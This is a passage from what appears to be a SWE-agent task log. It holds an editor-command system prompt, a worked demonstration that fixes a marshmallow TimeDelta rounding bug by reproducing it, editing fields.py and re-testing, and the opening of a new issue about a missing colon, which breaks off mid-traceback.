of a file editor that shows you 100 lines of a file at a time.\nIn addition to typical bash commands, you can also use the following commands to help you navigate and edit files.\n\nCOMMANDS:\nopen:\n docstring: opens the file at the given path in the editor. If line_number is provided, the window will be move to include that line\n signature: open []\n arguments:\n - path (string) [required]: the path to the file to open\n - line_number (integer) [optional]: the line number to move the window to (if not provided, the window will start at the top of the file)\n\ngoto:\n docstring: moves the window to show \n signature: goto \n arguments:\n - line_number (integer) [required]: the line number to move the window to\n\nscroll_down:\n docstring: moves the window down {WINDOW} lines\n signature: scroll_down\n\nscroll_up:\n docstring: moves the window down {WINDOW} lines\n signature: scroll_down\n\ncreate:\n docstring: creates and opens a new file with the given name\n signature: create \n arguments:\n - filename (string) [required]: the name of the file to create\n\nsubmit:\n docstring: submits your current code and terminates the session\n signature: submit\n\nsearch_dir:\n docstring: searches for search_term in all files in dir. If dir is not provided, searches in the current directory\n signature: search_dir []\n arguments:\n - search_term (string) [required]: the term to search for\n - dir (string) [optional]: the directory to search in (if not provided, searches in the current directory)\n\nsearch_file:\n docstring: searches for search_term in file. If file is not provided, searches in the current open file\n signature: search_file []\n arguments:\n - search_term (string) [required]: the term to search for\n - file (string) [optional]: the file to search in (if not provided, searches in the current open file)\n\nfind_file:\n docstring: finds all files with the given name in dir. If dir is not provided, searches in the current directory\n signature: find_file []\n arguments:\n - file_name (string) [required]: the name of the file to search for\n - dir (string) [optional]: the directory to search in (if not provided, searches in the current directory)\n\nedit:\n docstring: replaces lines through (inclusive) with the given text in the open file. The replacement text is terminated by a line with only end_of_edit on it. All of the will be entered, so make sure your indentation is formatted properly. Python files will be checked for syntax errors after the edit. If the system detects a syntax error, the edit will not be executed. Simply try to edit the file again, but make sure to read the error message and modify the edit command you issue accordingly. Issuing the same command a second time will just lead to the same error message again.\n signature: edit :\n\nend_of_edit\n arguments:\n - start_line (integer) [required]: the line number to start the edit at\n - end_line (integer) [required]: the line number to end the edit at (inclusive)\n - replacement_text (string) [required]: the text to replace the current selection with\n\n\n\nPlease note that THE EDIT COMMAND REQUIRES PROPER INDENTATION. \nIf you'd like to add the line ' print(x)' you must fully write that out, with all those spaces before the code! Indentation is important and code that is not indented correctly will fail and require fixing before it can be run.\n\nRESPONSE FORMAT:\nYour shell prompt is formatted as follows:\n(Open file: ) $\n\nYou need to format your output using two fields; discussion and command.\nYour output should always include _one_ discussion and _one_ command field EXACTLY as in the following example:\nDISCUSSION\nFirst I'll start by using ls to see what files are in the current directory. Then maybe we can look at some relevant files to see what they look like.\n```\nls -a\n```\n\nYou should only include a *SINGLE* command in the command section and then wait for a response from the shell before continuing with more discussion and commands. Everything you include in the DISCUSSION section will be saved for future reference.\nIf you'd like to issue two commands at once, PLEASE DO NOT DO THAT! Please instead first submit just the first command, and then after receiving a response you'll be able to issue the second command. \nYou're free to use any other bash commands you want (e.g. find, grep, cat, ls, cd) in addition to the special commands listed above.\nHowever, the environment does NOT support interactive session commands (e.g. python, vim), so please do not invoke them.", + "agent": "primary" + }, + { + "agent": "primary", + "content": "Here is a demonstration of how to correctly accomplish this task.\nIt is included to show you how to correctly use the interface.\nYou do not need to follow exactly what is done in the demonstration.\n--- DEMONSTRATION ---\nWe're currently solving the following issue within our repository. Here's the issue text:\nISSUE:\nTimeDelta serialization precision\nHi there!\n\nI just found quite strange behaviour of `TimeDelta` field serialization\n\n```python3\nfrom marshmallow.fields import TimeDelta\nfrom datetime import timedelta\n\ntd_field = TimeDelta(precision=\"milliseconds\")\n\nobj = dict()\nobj[\"td_field\"] = timedelta(milliseconds=345)\n\nprint(td_field.serialize(\"td_field\", obj))\n```\n\nOutput of this snippet is `344`, but it seems that `345` is correct.\n\nLooks like a rounding issue here: https://github.com/marshmallow-code/marshmallow/blob/dev/src/marshmallow/fields.py#L1474\n\n\nINSTRUCTIONS:\nNow, you're going to solve this issue on your own. Your terminal session has started and you're in the repository's root directory. You can use any bash commands or the special interface to help you. Edit all the files you need to and run any checks or tests that you want. \nRemember, YOU CAN ONLY ENTER ONE COMMAND AT A TIME. You should always wait for feedback after every command. \nWhen you're satisfied with all of the changes you've made, you can submit your changes to the code base by simply running the submit command.\nNote however that you cannot use any interactive session commands (e.g. python, vim) in this environment, but you can write scripts and run them. E.g. you can write a python script and then run it with `python .py`.\n\nNOTE ABOUT THE EDIT COMMAND: Indentation really matters! When editing a file, make sure to insert appropriate indentation before each line! \n\nIMPORTANT TIPS:\n1. Always start by trying to replicate the bug that the issues discusses. \n If the issue includes code for reproducing the bug, we recommend that you re-implement that in your environment, and run it to make sure you can reproduce the bug.\n Then start trying to fix it.\n When you think you've fixed the bug, re-run the bug reproduction script to make sure that the bug has indeed been fixed.\n \n If the bug reproduction script does not print anything when it succesfully runs, we recommend adding a print(\"Script completed successfully, no errors.\") command at the end of the file,\n so that you can be sure that the script indeed ran fine all the way through. \n\n2. If you run a command and it doesn't work, try running a different command. A command that did not work once will not work the second time unless you modify it!\n\n3. If you open a file and need to get to an area around a specific line that is not in the first 100 lines, say line 583, don't just use the scroll_down command multiple times. Instead, use the goto 583 command. It's much quicker. \n \n4. If the bug reproduction script requires inputting/reading a specific file, such as buggy-input.png, and you'd like to understand how to input that file, conduct a search in the existing repo code, to see whether someone else has already done that. Do this by running the command: find_file \"buggy-input.png\" If that doensn't work, use the linux 'find' command. \n\n5. Always make sure to look at the currently open file and the current working directory (which appears right after the currently open file). The currently open file might be in a different directory than the working directory! Note that some commands, such as 'create', open files, so they might change the current open file.\n\n6. When editing files, it is easy to accidentally specify a wrong line number or to write code with incorrect indentation. Always check the code after you issue an edit to make sure that it reflects what you wanted to accomplish. If it didn't, issue another command to fix it.\n \n\n(Open file: n/a)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nLet's list out some of the files in the repository to get an idea of the structure and contents. We can use the `ls -F` command to list the files in the current directory.\n```\nls -F\n```\nAUTHORS.rst\nCHANGELOG.rst\nCODE_OF_CONDUCT.md\nCONTRIBUTING.rst\nLICENSE\nMANIFEST.in\nNOTICE\nREADME.rst\nRELEASING.md\nazure-pipelines.yml\ndocs/\nexamples/\nperformance/\npyproject.toml\nsetup.cfg\nsetup.py\nsrc/\ntests/\ntox.ini\n\n(Open file: n/a)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nWe see that there's a setup.py file. This could be useful for installing the package locally. Since we'll probably need to reproduce the issue to solve it, it would be a good idea to install the package locally. Let's checkout the setup.py file to see what commands we can use to install the package.\n```\nopen setup.py\n```\n[File: /marshmallow-code__marshmallow/setup.py (94 lines total)]\n1:import re\n2:from setuptools import setup, find_packages\n3:\n4:EXTRAS_REQUIRE = {\n5: \"tests\": [\"pytest\", \"pytz\", \"simplejson\"],\n6: \"lint\": [\n7: \"mypy==0.910\",\n8: \"flake8==4.0.1\",\n9: \"flake8-bugbear==21.9.2\",\n10: \"pre-commit~=2.4\",\n11: ],\n12: \"docs\": [\n13: \"sphinx==4.2.0\",\n14: \"sphinx-issues==1.2.0\",\n15: \"alabaster==0.7.12\",\n16: \"sphinx-version-warning==1.1.2\",\n17: \"autodocsumm==0.2.7\",\n18: ],\n19:}\n20:EXTRAS_REQUIRE[\"dev\"] = EXTRAS_REQUIRE[\"tests\"] + EXTRAS_REQUIRE[\"lint\"] + [\"tox\"]\n21:\n22:\n23:def find_version(fname):\n24: \"\"\"Attempts to find the version number in the file names fname.\n25: Raises RuntimeError if not found.\n26: \"\"\"\n27: version = \"\"\n28: with open(fname) as fp:\n29: reg = re.compile(r'__version__ = [\\'\"]([^\\'\"]*)[\\'\"]')\n30: for line in fp:\n31: m = reg.match(line)\n32: if m:\n33: version = m.group(1)\n34: break\n35: if not version:\n36: raise RuntimeError(\"Cannot find version information\")\n37: return version\n38:\n39:\n40:def read(fname):\n41: with open(fname) as fp:\n42: content = fp.read()\n43: return content\n44:\n45:\n46:setup(\n47: name=\"marshmallow\",\n48: version=find_version(\"src/marshmallow/__init__.py\"),\n49: description=(\n50: \"A lightweight library for converting complex \"\n51: \"datatypes to and from native Python datatypes.\"\n52: ),\n53: long_description=read(\"README.rst\"),\n54: author=\"Steven Loria\",\n55: author_email=\"sloria1@gmail.com\",\n56: url=\"https://github.com/marshmallow-code/marshmallow\",\n57: packages=find_packages(\"src\", exclude=(\"test*\", \"examples\")),\n58: package_dir={\"\": \"src\"},\n59: package_data={\"marshmallow\": [\"py.typed\"]},\n60: include_package_data=True,\n61: extras_require=EXTRAS_REQUIRE,\n62: license=\"MIT\",\n63: zip_safe=False,\n64: keywords=[\n65: \"serialization\",\n66: \"rest\",\n67: \"json\",\n68: \"api\",\n69: \"marshal\",\n70: \"marshalling\",\n71: \"deserialization\",\n72: \"validation\",\n73: \"schema\",\n74: ],\n75: python_requires=\">=3.6\",\n76: classifiers=[\n77: \"Development Status :: 5 - Production/Stable\",\n78: \"Intended Audience :: Developers\",\n79: \"License :: OSI Approved :: MIT License\",\n80: \"Programming Language :: Python :: 3\",\n81: \"Programming Language :: Python :: 3.6\",\n82: \"Programming Language :: Python :: 3.7\",\n83: \"Programming Language :: Python :: 3.8\",\n84: \"Programming Language :: Python :: 3.9\",\n85: \"Programming Language :: Python :: 3.10\",\n86: ],\n87: test_suite=\"tests\",\n88: project_urls={\n89: \"Changelog\": \"https://marshmallow.readthedocs.io/en/latest/changelog.html\",\n90: \"Issues\": \"https://github.com/marshmallow-code/marshmallow/issues\",\n91: \"Funding\": \"https://opencollective.com/marshmallow\",\n92: \"Tidelift\": \"https://tidelift.com/subscription/pkg/pypi-marshmallow?utm_source=pypi-marshmallow&utm_medium=pypi\", # noqa\n93: },\n94:)\n\n(Open file: /marshmallow-code__marshmallow/setup.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nThe setup.py file contains a lot of useful information to install the package locally. In particular, I see there's a [dev] extras that installs all the dependencies needed for development. We can use this to install the package with all the necessary dependencies. Let's install the package locally with the [dev] extras.\n```\npip install -e .[dev]\n```\nObtaining file:///marshmallow-code__marshmallow\n Installing build dependencies: started\n Installing build dependencies: finished with status 'done'\n Checking if build backend supports build_editable: started\n Checking if build backend supports build_editable: finished with status 'done'\n Getting requirements to build editable: started\n Getting requirements to build editable: finished with status 'done'\n Preparing editable metadata (pyproject.toml): started\n Preparing editable metadata (pyproject.toml): finished with status 'done'\nRequirement already satisfied: pytest in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (8.1.1)\nRequirement already satisfied: pytz in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (2024.1)\nRequirement already satisfied: simplejson in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (3.19.2)\nRequirement already satisfied: mypy==0.910 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (0.910)\nRequirement already satisfied: flake8==4.0.1 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (4.0.1)\nRequirement already satisfied: flake8-bugbear==21.9.2 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (21.9.2)\nRequirement already satisfied: pre-commit~=2.4 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (2.21.0)\nRequirement already satisfied: tox in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (4.14.2)\nRequirement already satisfied: mccabe<0.7.0,>=0.6.0 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from flake8==4.0.1) (0.6.1)\nRequirement already satisfied: pycodestyle<2.9.0,>=2.8.0 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from flake8==4.0.1) (2.8.0)\nRequirement already satisfied: pyflakes<2.5.0,>=2.4.0 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from flake8==4.0.1) (2.4.0)\nRequirement already satisfied: attrs>=19.2.0 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from flake8-bugbear==21.9.2) (23.2.0)\nRequirement already satisfied: typing-extensions>=3.7.4 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from mypy==0.910) (4.10.0)\nRequirement already satisfied: mypy-extensions<0.5.0,>=0.4.3 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from mypy==0.910) (0.4.4)\nRequirement already satisfied: toml in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from mypy==0.910) (0.10.2)\nRequirement already satisfied: cfgv>=2.0.0 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from pre-commit~=2.4) (3.4.0)\nRequirement already satisfied: identify>=1.0.0 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from pre-commit~=2.4) (2.5.35)\nRequirement already satisfied: nodeenv>=0.11.1 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from pre-commit~=2.4) (1.8.0)\nRequirement already satisfied: pyyaml>=5.1 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from pre-commit~=2.4) (6.0.1)\nRequirement already satisfied: virtualenv>=20.10.0 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from pre-commit~=2.4) (20.25.1)\nRequirement already satisfied: iniconfig in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from pytest) (2.0.0)\nRequirement already satisfied: packaging in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from pytest) (24.0)\nRequirement already satisfied: pluggy<2.0,>=1.4 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from pytest) (1.4.0)\nRequirement already satisfied: exceptiongroup>=1.0.0rc8 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from pytest) (1.2.0)\nRequirement already satisfied: tomli>=1 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from pytest) (2.0.1)\nRequirement already satisfied: cachetools>=5.3.2 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from tox) (5.3.3)\nRequirement already satisfied: chardet>=5.2 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from tox) (5.2.0)\nRequirement already satisfied: colorama>=0.4.6 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from tox) (0.4.6)\nRequirement already satisfied: filelock>=3.13.1 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from tox) (3.13.3)\nRequirement already satisfied: platformdirs>=4.1 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from tox) (4.2.0)\nRequirement already satisfied: pyproject-api>=1.6.1 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from tox) (1.6.1)\nRequirement already satisfied: setuptools in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from nodeenv>=0.11.1->pre-commit~=2.4) (68.2.2)\nRequirement already satisfied: distlib<1,>=0.3.7 in /root/miniconda3/envs/marshmallow-code__marshmallow__3.13/lib/python3.9/site-packages (from virtualenv>=20.10.0->pre-commit~=2.4) (0.3.8)\nChecking if build backend supports build_editable: started\nChecking if build backend supports build_editable: finished with status 'done'\nBuilding wheels for collected packages: marshmallow\n Building editable for marshmallow (pyproject.toml): started\n Building editable for marshmallow (pyproject.toml): finished with status 'done'\n Created wheel for marshmallow: filename=marshmallow-3.13.0-0.editable-py3-none-any.whl size=4534 sha256=fcca61a41cd2783d4a5b8471ebc48cf886d36f6c66a29cc9b02761fc174a024d\n Stored in directory: /tmp/pip-ephem-wheel-cache-h335xxo8/wheels/4d/da/d4/e230bf0a3f16cad5a83d235ac24a34b55178ddda181cb64dae\nSuccessfully built marshmallow\nInstalling collected packages: marshmallow\n Attempting uninstall: marshmallow\n Found existing installation: marshmallow 3.13.0\n Uninstalling marshmallow-3.13.0:\n Successfully uninstalled marshmallow-3.13.0\nSuccessfully installed marshmallow-3.13.0\nWARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv\n\n(Open file: /marshmallow-code__marshmallow/setup.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nLooks like it installed successfully. Now that we have the package installed, we can start working on the issue.\nLet's first start by reproducing the results of the issue. The issue includes some example code for reproduction, which we can use. We'll create a new file called `reproduce.py` and paste the example code into it.\n```\ncreate reproduce.py\n```\n[File: /marshmallow-code__marshmallow/reproduce.py (1 lines total)]\n1:\n\n(Open file: /marshmallow-code__marshmallow/reproduce.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nNow let's paste in the example code from the issue.\n```\nedit 1:1\nfrom marshmallow.fields import TimeDelta\nfrom datetime import timedelta\n\ntd_field = TimeDelta(precision=\"milliseconds\")\n\nobj = dict()\nobj[\"td_field\"] = timedelta(milliseconds=345)\n\nprint(td_field.serialize(\"td_field\", obj))\nend_of_edit\n```\n[File: /marshmallow-code__marshmallow/reproduce.py (9 lines total)]\n1:from marshmallow.fields import TimeDelta\n2:from datetime import timedelta\n3:\n4:td_field = TimeDelta(precision=\"milliseconds\")\n5:\n6:obj = dict()\n7:obj[\"td_field\"] = timedelta(milliseconds=345)\n8:\n9:print(td_field.serialize(\"td_field\", obj))\nFile updated. Please review the changes and make sure they are correct (correct indentation, no duplicate lines, etc). Edit the file again if necessary.\n\n(Open file: /marshmallow-code__marshmallow/reproduce.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nNow let's run the code to see if we see the same output as the issue.\n```\npython reproduce.py\n```\n344\n\n(Open file: /marshmallow-code__marshmallow/reproduce.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nWe are indeed seeing the same output as the issue. The issue suggests that we should look at line 1474 of the `fields.py` file to see if there is a rounding issue. Let's open the `fields.py` file and navigate to line 1474 to see the relevant code. First we should find the `fields.py` file in the repository. It is likely to be in the `src/marshmallow` directory, but we should check to be sure.\n```\nls -F\n```\nAUTHORS.rst\nCHANGELOG.rst\nCODE_OF_CONDUCT.md\nCONTRIBUTING.rst\nLICENSE\nMANIFEST.in\nNOTICE\nREADME.rst\nRELEASING.md\nazure-pipelines.yml\ndocs/\nexamples/\nperformance/\npyproject.toml\nreproduce.py\nsetup.cfg\nsetup.py\nsrc/\ntests/\ntox.ini\n\n(Open file: /marshmallow-code__marshmallow/reproduce.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nIt looks like the `src` directory is present, which suggests that the `fields.py` file is likely to be in the `src` directory. Let's use find_file to see where it is.\n```\nfind_file \"fields.py\" src\n```\nFound 1 matches for \"fields.py\" in /marshmallow-code__marshmallow/src:\n/marshmallow-code__marshmallow/src/marshmallow/fields.py\n\n(Open file: /marshmallow-code__marshmallow/reproduce.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nIt looks like the `fields.py` file is present in the `./src/marshmallow/` directory. The issue also points to a specific URL with line number 1474. We should navigate to that line in fields.py to see the relevant code for the `TimeDelta` serialization.\n```\nopen src/marshmallow/fields.py 1474\n```\n[File: /marshmallow-code__marshmallow/src/marshmallow/fields.py (1997 lines total)]\n(1458 more lines above)\n1459: self.WEEKS,\n1460: )\n1461:\n1462: if precision not in units:\n1463: msg = 'The precision must be {} or \"{}\".'.format(\n1464: \", \".join([f'\"{each}\"' for each in units[:-1]]), units[-1]\n1465: )\n1466: raise ValueError(msg)\n1467:\n1468: self.precision = precision\n1469: super().__init__(**kwargs)\n1470:\n1471: def _serialize(self, value, attr, obj, **kwargs):\n1472: if value is None:\n1473: return None\n1474: base_unit = dt.timedelta(**{self.precision: 1})\n1475: return int(value.total_seconds() / base_unit.total_seconds())\n1476:\n1477: def _deserialize(self, value, attr, data, **kwargs):\n1478: try:\n1479: value = int(value)\n1480: except (TypeError, ValueError) as error:\n1481: raise self.make_error(\"invalid\") from error\n1482:\n1483: kwargs = {self.precision: value}\n1484:\n1485: try:\n1486: return dt.timedelta(**kwargs)\n1487: except OverflowError as error:\n1488: raise self.make_error(\"invalid\") from error\n1489:\n1490:\n1491:class Mapping(Field):\n1492: \"\"\"An abstract class for objects with key-value pairs.\n1493:\n1494: :param keys: A field class or instance for dict keys.\n1495: :param values: A field class or instance for dict values.\n1496: :param kwargs: The same keyword arguments that :class:`Field` receives.\n1497:\n1498: .. note::\n1499: When the structure of nested data is not known, you may omit the\n1500: `keys` and `values` arguments to prevent content validation.\n1501:\n1502: .. versionadded:: 3.0.0rc4\n1503: \"\"\"\n1504:\n1505: mapping_type = dict\n1506:\n1507: #: Default error messages.\n1508: default_error_messages = {\"invalid\": \"Not a valid mapping type.\"}\n1509:\n1510: def __init__(\n1511: self,\n1512: keys: typing.Optional[typing.Union[Field, type]] = None,\n1513: values: typing.Optional[typing.Union[Field, type]] = None,\n1514: **kwargs,\n1515: ):\n1516: super().__init__(**kwargs)\n1517: if keys is None:\n1518: self.key_field = None\n1519: else:\n1520: try:\n1521: self.key_field = resolve_field_instance(keys)\n1522: except FieldInstanceResolutionError as error:\n1523: raise ValueError(\n1524: '\"keys\" must be a subclass or instance of '\n1525: \"marshmallow.base.FieldABC.\"\n1526: ) from error\n1527:\n1528: if values is None:\n1529: self.value_field = None\n1530: else:\n1531: try:\n1532: self.value_field = resolve_field_instance(values)\n1533: except FieldInstanceResolutionError as error:\n1534: raise ValueError(\n1535: '\"values\" must be a subclass or instance of '\n1536: \"marshmallow.base.FieldABC.\"\n1537: ) from error\n1538: if isinstance(self.value_field, Nested):\n1539: self.only = self.value_field.only\n1540: self.exclude = self.value_field.exclude\n1541:\n1542: def _bind_to_schema(self, field_name, schema):\n1543: super()._bind_to_schema(field_name, schema)\n1544: if self.value_field:\n1545: self.value_field = copy.deepcopy(self.value_field)\n1546: self.value_field._bind_to_schema(field_name, self)\n1547: if isinstance(self.value_field, Nested):\n1548: self.value_field.only = self.only\n1549: self.value_field.exclude = self.exclude\n1550: if self.key_field:\n1551: self.key_field = copy.deepcopy(self.key_field)\n1552: self.key_field._bind_to_schema(field_name, self)\n1553:\n1554: def _serialize(self, value, attr, obj, **kwargs):\n1555: if value is None:\n1556: return None\n1557: if not self.value_field and not self.key_field:\n1558: return self.mapping_type(value)\n(439 more lines below)\n\n(Open file: /marshmallow-code__marshmallow/src/marshmallow/fields.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nWe are now looking at the relevant section of the `fields.py` file where the `TimeDelta` serialization occurs. The issue suggests that there is a rounding problem near line 1474. The current implementation uses integer division, which truncates the decimal part and can lead to incorrect rounding on line 1475.To fix this issue, we should ensure that the division results in a float, and then round the result to the nearest integer before converting it to an int. This should preserve the milliseconds precision as expected. Let's make the necessary edit to the code.\n```\nedit 1475:1475\nreturn int(round(value.total_seconds() / base_unit.total_seconds())) # round to nearest int\nend_of_edit\n```\nYour proposed edit has introduced new syntax error(s). Please understand the fixes and retry your edit commmand.\n\nERRORS:\n- E999 IndentationError: unexpected indent\n\nThis is how your edit would have looked if applied\n-------------------------------------------------\n[File: /marshmallow-code__marshmallow/src/marshmallow/fields.py (1997 lines total)]\n(1468 more lines above)\n1469: super().__init__(**kwargs)\n1470:\n1471: def _serialize(self, value, attr, obj, **kwargs):\n1472: if value is None:\n1473: return None\n1474: base_unit = dt.timedelta(**{self.precision: 1})\n1475:return int(round(value.total_seconds() / base_unit.total_seconds())) # round to nearest int\n1476:\n1477: def _deserialize(self, value, attr, data, **kwargs):\n1478: try:\n1479: value = int(value)\n(518 more lines below)\n-------------------------------------------------\n\nThis is the original code before your edit\n-------------------------------------------------\n[File: /marshmallow-code__marshmallow/src/marshmallow/fields.py (1997 lines total)]\n(1469 more lines above)\n1470:\n1471: def _serialize(self, value, attr, obj, **kwargs):\n1472: if value is None:\n1473: return None\n1474: base_unit = dt.timedelta(**{self.precision: 1})\n1475: return int(value.total_seconds() / base_unit.total_seconds())\n1476:\n1477: def _deserialize(self, value, attr, data, **kwargs):\n1478: try:\n1479: value = int(value)\n1480: except (TypeError, ValueError) as error:\n(517 more lines below)\n-------------------------------------------------\nYour changes have NOT been applied. Please fix your edit command and try again.\nYou either need to 1) Specify the correct start/end line arguments or 2) Correct your edit code.\nDO NOT re-run the same failed edit command. Running it again will lead to the same error.\n\n(Open file: /marshmallow-code__marshmallow/src/marshmallow/fields.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nMy edit command did not use the proper indentation, I will fix my syntax in this follow up edit command.\n```\nedit 1475:1475\n return int(round(value.total_seconds() / base_unit.total_seconds())) # round to nearest int\nend_of_edit\n```\n[File: /marshmallow-code__marshmallow/src/marshmallow/fields.py (1997 lines total)]\n(1424 more lines above)\n1425:\n1426: :param precision: Influences how the integer is interpreted during\n1427: (de)serialization. Must be 'days', 'seconds', 'microseconds',\n1428: 'milliseconds', 'minutes', 'hours' or 'weeks'.\n1429: :param kwargs: The same keyword arguments that :class:`Field` receives.\n1430:\n1431: .. versionchanged:: 2.0.0\n1432: Always serializes to an integer value to avoid rounding errors.\n1433: Add `precision` parameter.\n1434: \"\"\"\n1435:\n1436: DAYS = \"days\"\n1437: SECONDS = \"seconds\"\n1438: MICROSECONDS = \"microseconds\"\n1439: MILLISECONDS = \"milliseconds\"\n1440: MINUTES = \"minutes\"\n1441: HOURS = \"hours\"\n1442: WEEKS = \"weeks\"\n1443:\n1444: #: Default error messages.\n1445: default_error_messages = {\n1446: \"invalid\": \"Not a valid period of time.\",\n1447: \"format\": \"{input!r} cannot be formatted as a timedelta.\",\n1448: }\n1449:\n1450: def __init__(self, precision: str = SECONDS, **kwargs):\n1451: precision = precision.lower()\n1452: units = (\n1453: self.DAYS,\n1454: self.SECONDS,\n1455: self.MICROSECONDS,\n1456: self.MILLISECONDS,\n1457: self.MINUTES,\n1458: self.HOURS,\n1459: self.WEEKS,\n1460: )\n1461:\n1462: if precision not in units:\n1463: msg = 'The precision must be {} or \"{}\".'.format(\n1464: \", \".join([f'\"{each}\"' for each in units[:-1]]), units[-1]\n1465: )\n1466: raise ValueError(msg)\n1467:\n1468: self.precision = precision\n1469: super().__init__(**kwargs)\n1470:\n1471: def _serialize(self, value, attr, obj, **kwargs):\n1472: if value is None:\n1473: return None\n1474: base_unit = dt.timedelta(**{self.precision: 1})\n1475: return int(round(value.total_seconds() / base_unit.total_seconds())) # round to nearest int\n1476:\n1477: def _deserialize(self, value, attr, data, **kwargs):\n1478: try:\n1479: value = int(value)\n1480: except (TypeError, ValueError) as error:\n1481: raise self.make_error(\"invalid\") from error\n1482:\n1483: kwargs = {self.precision: value}\n1484:\n1485: try:\n1486: return dt.timedelta(**kwargs)\n1487: except OverflowError as error:\n1488: raise self.make_error(\"invalid\") from error\n1489:\n1490:\n1491:class Mapping(Field):\n1492: \"\"\"An abstract class for objects with key-value pairs.\n1493:\n1494: :param keys: A field class or instance for dict keys.\n1495: :param values: A field class or instance for dict values.\n1496: :param kwargs: The same keyword arguments that :class:`Field` receives.\n1497:\n1498: .. note::\n1499: When the structure of nested data is not known, you may omit the\n1500: `keys` and `values` arguments to prevent content validation.\n1501:\n1502: .. versionadded:: 3.0.0rc4\n1503: \"\"\"\n1504:\n1505: mapping_type = dict\n1506:\n1507: #: Default error messages.\n1508: default_error_messages = {\"invalid\": \"Not a valid mapping type.\"}\n1509:\n1510: def __init__(\n1511: self,\n1512: keys: typing.Optional[typing.Union[Field, type]] = None,\n1513: values: typing.Optional[typing.Union[Field, type]] = None,\n1514: **kwargs,\n1515: ):\n1516: super().__init__(**kwargs)\n1517: if keys is None:\n1518: self.key_field = None\n1519: else:\n1520: try:\n1521: self.key_field = resolve_field_instance(keys)\n1522: except FieldInstanceResolutionError as error:\n1523: raise ValueError(\n1524: '\"keys\" must be a subclass or instance of '\n(473 more lines below)\nFile updated. Please review the changes and make sure they are correct (correct indentation, no duplicate lines, etc). Edit the file again if necessary.\n\n(Open file: /marshmallow-code__marshmallow/src/marshmallow/fields.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nThe code has been updated to use the `round` function, which should fix the rounding issue. Before submitting the changes, it would be prudent to run the reproduce.py code again to ensure that this change has the desired effect. I see that \"Current directory\" is still `/marshmallow-code__marshmallow`, so we can just run `reproduce.py` directly.\n```\npython reproduce.py\n```\n345\n\n(Open file: /marshmallow-code__marshmallow/src/marshmallow/fields.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nThe output has changed from 344 to 345, which suggests that the rounding issue has been fixed. Let's remove the reproduce.py file since it is no longer needed.\n```\nrm reproduce.py\n```\nYour command ran successfully and did not produce any output.\n(Open file: /marshmallow-code__marshmallow/src/marshmallow/fields.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nrm doesn't have any output when it deletes successfully, so that must have worked. Now that we have fixed the issue, we should submit our changes to the code base. Let's submit the changes using the `submit` command.\n```\nsubmit\n```\n--- END OF DEMONSTRATION ---\n", + "is_demo": true, + "role": "user" + }, + { + "role": "user", + "content": "We're currently solving the following issue within our repository. Here's the issue text:\nISSUE:\nSyntaxError: invalid syntax\nI'm running `missing_colon.py` as follows:\r\n\r\n```python\r\ndivision(23, 0)\r\n```\r\n\r\nbut I get the following error:\r\n\r\n```\r\n File \"/Users/fuchur/Documents/24/git_sync/swe-agent-test-repo/tests/./missing_colon.py\", line 4\r\n def division(a: float, b: float) -> float\r\n 